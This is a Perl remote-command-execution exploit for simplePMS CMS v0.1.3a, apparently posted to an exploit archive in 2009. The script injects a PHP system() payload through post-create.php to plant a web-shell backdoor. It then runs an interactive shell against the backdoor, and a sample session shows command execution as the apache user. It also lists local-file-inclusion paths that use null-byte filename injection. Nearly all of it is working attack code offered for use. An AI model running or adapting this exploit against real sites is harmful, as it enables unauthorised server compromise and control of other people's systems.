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simplepms-exec.txt

Posted on 16 February 2009

#!/usr/bin/perl

# Script  : simplePMS CMS v0.1.3a
# Download: http://garr.dl.sourceforge.net/sourceforge/simplepms/simplePMS-v0-1-3prealpha.tar.bz2
# Remote Command Execution Exploit
# Also affected to multiple LFI vulnerabilities <-- Needs Register Globals ON ($filename not declared)
#   /[path]/pages/template.php?filename=[lf]%00
#   /[path]/pages/comp-template.php?filename=[lf]%00
# by Osirys <osirys[at]autistici[dot]org>

# Let's go into the hacking ..

# osirys[~]>$ perl rcex.txt http://localhost/simplePMS-v0-1-3prealpha/
#
#   ---------------------------------------
#            SimplePMS CMS  v0.1.3a
#       Remote Command Execution Sploit
#                  by Osirys
#   ---------------------------------------
#
# [*] Adding evil post ..
# [*] Succesfully backdoored !
# [&] Hi my master, do your job now [!]
#
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> pwd
# /home/osirys/web/simplePMS-v0-1-3prealpha/posts
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>$

use LWP::UserAgent;
use IO::Socket;
use HTTP::Request::Common;

my $host =  $ARGV[0];
my $rand = int(rand 19) +1;
my $file = "h0x".$rand;

($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

my $url = $path."/post-create.php";

my $code = "insert=Before&filename=".$file."&topic=1337&story=owned%22%3Be".
"cho+%22p0w%22%3Bif%28get_magic_quotes_gpc%28%29%29%7B+%24_GET%".
"5Bcmd%5D%3Dstripslashes%28%24_GET%5Bcmd%5D%29%3B%7Dsystem%28%2".
"4_GET%5Bcmd%5D%29%3Becho+%22p0w%22%3B%24a+%3D+%22o&poster=owner";

my $length = length($code);

my $data = "POST ".$url." HTTP/1.1
".
"Host: ".$h0st."
".
"Keep-Alive: 300
".
"Connection: keep-alive
".
"Content-Type: application/x-www-form-urlencoded
".
"Content-Length: ".$length."

".
$code."
";

my $socket   =  new IO::Socket::INET(
PeerAddr => $h0st,
PeerPort => '80',
Proto    => 'tcp',
) or die "[-] Can't connect to $h0st:80
[?] $! 

";

print "[*] Adding evil post ..
";
$socket->send($data);

while ((my $e = <$socket>)&&($own != 1)) {
if ($e =~ /Sucessfully created post for/) {
$own = 1;
print "[*] Succesfully backdoored ! 
";
}
}
$own == 1 || die "[-] Can't add posts !
";

print "[&] Hi my master, do your job now [!]

";
&exec_cmd;

sub exec_cmd {
my(@outs,$out);
$h0st !~ /www./ || $h0st =~ s/www.//;
print "shell[$h0st]$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..
";
$exec_url = $host."/posts/".$file."-posts.php?cmd=".$cmd;
$re = get_req($exec_url);
$content = tag($re);
if ($content =~ /p0w(.+)p0w/) {
my $out = $1;
$out =~ s/$/ /g;
$out =~ s/*/
/g;
chomp($out);
print "$out
";
&exec_cmd;
}
else {
$c++;
$cmd =~ s/
//;
print "bash: ".$cmd.": command not found
";
$c < 3 || die "[-] Command are not executed.
[-] Something wrong. Exploit Failed !

";
}
}

sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}

sub cheek() {
my $host = $_[0];
if ($host =~ /http://(.*)/) {
return 1;
}
else {
return 0;
}
}

sub get_input() {
my $host = $_[0];
$host =~ /http://(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)//$1/;
$full_det = $h0st." ".$path;
return $full_det;
}

sub tag() {
my $string = $_[0];
$string =~ s/
/*/g;
return($string);
}

sub banner {
print "
".
"  --------------------------------------- 
".
"           SimplePMS CMS  v0.1.3a         
".
"      Remote Command Execution Sploit     
".
"                 by Osirys                
".
"  --------------------------------------- 

";
}

sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "
[-] Bad hostname! 
";
}
elsif ($error == -2) {
&banner;
print "
[-] Bad hostname address !
";
}
print "[*] Usage : perl $0 http://hostname/cms_path

";
exit(0);
}

 

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